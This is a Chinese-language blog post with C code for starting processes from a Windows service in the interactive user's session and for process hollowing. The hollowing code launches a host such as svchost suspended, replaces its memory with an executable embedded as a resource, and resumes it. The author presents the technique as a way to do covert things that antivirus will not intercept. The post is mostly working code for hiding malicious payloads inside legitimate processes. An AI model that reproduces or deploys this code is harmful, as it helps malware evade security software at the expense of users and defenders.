代码基本源于网络,作用看个人需求。
session 0隔离是个老话题,这里简单讲讲,小伙伴们赶快看过来吧。
自vista系统开始,进程便有了session空间的概念,一般系统服务进程是在session 0的会话空间里面执行,其他应用程序都是在session 1或者session x会话空间中运行。一般情况下,进程A属于session x会话空间,那么它所创建的进程同样是属于session x会话空间。
当你写的是个系统服务的时候,由于系统服务进程处于session 0空间,所以该进程如果想创建出一个进程,那么创建出来的进程也就是属于session 0会话空间了。而session 0会话空间中能做的事情有限,比如无法显示一个操作界面,很难和用户交互。所以你必须在session 0会话空间中创建出属于非session 0会话空间的进程。
下面的代码展示了如何去做。
- BOOL CreateProcessS (
- __in_opt LPCWSTR lpApplicationName,
- __inout_opt LPWSTR lpCommandLine,
- __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
- __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
- __in BOOL bInheritHandles,
- __in DWORD dwCreationFlags,
- __in_opt LPCWSTR lpCurrentDirectory,
- __in LPSTARTUPINFOW lpStartupInfo,
- __out LPPROCESS_INFORMATION lpProcessInformation
- )
- {
- BOOL isSuccess = FALSE;
- DWORD dwCurrentSessionId = 0;
- ProcessIdToSessionId(GetCurrentProcessId(),&dwCurrentSessionId);
- if (dwCurrentSessionId == 0)
- {
- HANDLE hToken = NULL;
- DWORD dwSessionID = 0;
- LPVOID lpEnvironment = NULL;
- HANDLE hDuplicatedToken = NULL;
- //服务进程会话id为零,以下代码用于绕过session 0隔离
- dwSessionID = WTSGetActiveConsoleSessionId();
- // 获得当前Session的用户令牌
- if (WTSQueryUserToken(dwSessionID,&hToken) == FALSE)
- {
- goto Cleanup;
- }
- // 复制令牌
- if (DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityIdentification, TokenPrimary,&hDuplicatedToken) == FALSE)
- {
- goto Cleanup;
- }
- // 创建用户Session环境
- if (CreateEnvironmentBlock(&lpEnvironment,hDuplicatedToken,FALSE) == FALSE)
- {
- goto Cleanup;
- }
- // 在复制的用户Session下执行应用程序,创建进程。
- if ((isSuccess = CreateProcessAsUser(hDuplicatedToken,lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,
- dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation) )== FALSE)
- {
- goto Cleanup;
- }
- // 清理工作
- Cleanup:
- if (hToken != NULL)
- {
- CloseHandle(hToken);
- }
- if (hDuplicatedToken != NULL)
- {
- CloseHandle(hDuplicatedToken);
- }
- if (lpEnvironment != NULL)
- {
- DestroyEnvironmentBlock(lpEnvironment);
- }
- }
- else
- {
- isSuccess = CreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags,NULL,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
- }
- return isSuccess;
- }
简单吧,代码主要来自网络。
有了创建的代码还不行,因为有时候我们服务进程需要做一点儿猥琐的事情,比如创建一个傀儡进程,比如选择一个svchost作为傀儡进程,然后执行我们偷偷想要做的事情。创建傀儡进程的好处是杀毒基本不会管你傀儡进程中做什么事情,那就不用考虑行为拦截问题了。
- void CreatePuppetProcess(HMODULE hModule,WCHAR *pszPuppetImagePath)
- {
- int i;
- HRSRC hrSrc;
- HGLOBAL hg;
- DWORD dwSize;
- #ifdef _WIN64
- WOW64_CONTEXT ThreadContext = {0};
- #else
- CONTEXT ThreadContext = {0};
- #endif // _WIN64
- DWORD dwPuppetProcessImageBase = 0;
- PVOID lpNewProcessImageBase = NULL;
- SIZE_T NumberOfBytes = 0;
- PIMAGE_DOS_HEADER lpImageDosHeader = NULL;
- PIMAGE_NT_HEADERS32 lpImageNtHeaders = NULL;
- PIMAGE_SECTION_HEADER lpImageSectionHeader = NULL;
- STARTUPINFO StartupInfo = {0};
- PROCESS_INFORMATION ProcessInfo = {0};
- ZWUNMAPVIEWOFSECTION pfnZwUnmapViewOfSection = NULL;
- StartupInfo.cb = sizeof(STARTUPINFO);
- hrSrc = FindResourceA(hModule, MAKEINTRESOURCEA(IDR_DLL1),"DLL");
- hg = LoadResource(hModule, hrSrc);
- dwSize = SizeofResource( hModule,hrSrc);
- if (dwSize == 0){ return; }
- pfnZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(LoadLibraryA("ntdll.dll"),"ZwUnmapViewOfSection");
- if (pfnZwUnmapViewOfSection == NULL){ return; }
- lpImageDosHeader = (PIMAGE_DOS_HEADER)hg;
- lpImageNtHeaders = (PIMAGE_NT_HEADERS32)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew);
- lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)hg + lpImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
- if (CreateProcessS(pszPuppetImagePath/*L"C:\Windows\System32\calc.exe"*/,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,&StartupInfo,&ProcessInfo) == FALSE)
- {
- goto __exit;
- }
- ThreadContext.ContextFlags = CONTEXT_FULL;
- #ifdef _WIN64
- if (Wow64GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
- {
- goto __exit;
- }
- #else
- if (GetThreadContext(ProcessInfo.hThread,&ThreadContext) == FALSE)
- {
- goto __exit;
- }
- #endif // _WIN64
- if (ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(ThreadContext.Ebx + 0x8),&dwPuppetProcessImageBase,sizeof(DWORD),&NumberOfBytes) == FALSE)
- {
- goto __exit;
- }
- if (dwPuppetProcessImageBase == lpImageNtHeaders->OptionalHeader.ImageBase)
- {
- pfnZwUnmapViewOfSection(ProcessInfo.hProcess,(PVOID)dwPuppetProcessImageBase);
- }
- lpNewProcessImageBase = VirtualAllocEx(ProcessInfo.hProcess,
- (LPVOID)(ULONG_PTR)lpImageNtHeaders->OptionalHeader.ImageBase,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfImage,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
- if (lpNewProcessImageBase == NULL)
- {
- int error = GetLastError();
- goto __exit;
- }
- if (WriteProcessMemory(ProcessInfo.hProcess,lpNewProcessImageBase,lpImageDosHeader,(SIZE_T)lpImageNtHeaders->OptionalHeader.SizeOfHeaders,&NumberOfBytes) == FALSE)
- {
- goto __exit;
- }
- for (i = 0;i < lpImageNtHeaders->FileHeader.NumberOfSections;i++)
- {
- WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)((ULONG_PTR)lpNewProcessImageBase + lpImageSectionHeader[i].VirtualAddress),
- (LPCVOID)((ULONG_PTR)hg + lpImageSectionHeader[i].PointerToRawData),(SIZE_T)lpImageSectionHeader[i].SizeOfRawData,&NumberOfBytes);
- }
- #ifdef _WIN64
- WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
- ThreadContext.Eax = 0;
- ThreadContext.Eax = (ULONG)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
- Wow64SetThreadContext(ProcessInfo.hThread,&ThreadContext);
- #else
- WriteProcessMemory(ProcessInfo.hProcess,(LPVOID)(ThreadContext.Ebx + 0x8),&lpNewProcessImageBase,sizeof(PVOID),&NumberOfBytes);
- ThreadContext.Eax = (DWORD)lpNewProcessImageBase + lpImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
- SetThreadContext(ProcessInfo.hThread,&ThreadContext);
- #endif // _WIN64
- ResumeThread(ProcessInfo.hThread);
- __exit:
- if (ProcessInfo.hProcess != NULL)
- {
- CloseHandle(ProcessInfo.hProcess);
- }
- if (ProcessInfo.hThread != NULL)
- {
- CloseHandle(ProcessInfo.hThread);
- }
- }
首先这个代码是把一个exe程序放在了资源里面,函数第一个参数的模块句柄是当前模块的句柄,如果是dll,那么就是dll的模块句柄。如果你想测试此函数效果,那么你写的就是exe程序运行此函数,这时这里的模块句柄可以为NULL。至于怎么把文件添加到资源,这里我就不讲解方法了,网上很多资料。
必须注意的是,你所要创建的傀儡进程必须是32位的,你放在资源中的exe也必须是32位的。而你调用CreatePuppetProcess函数所在的进程可以是32位或者64位。
然后通过此代码你就可以实现创建一个傀儡进程了,如果是在session 0会话空间中创建傀儡进程,这里还会实现突破session 0隔离创建进程。
小伙伴们赶紧自己去实验吧,更多内容请关注mengwuji.net后续动态。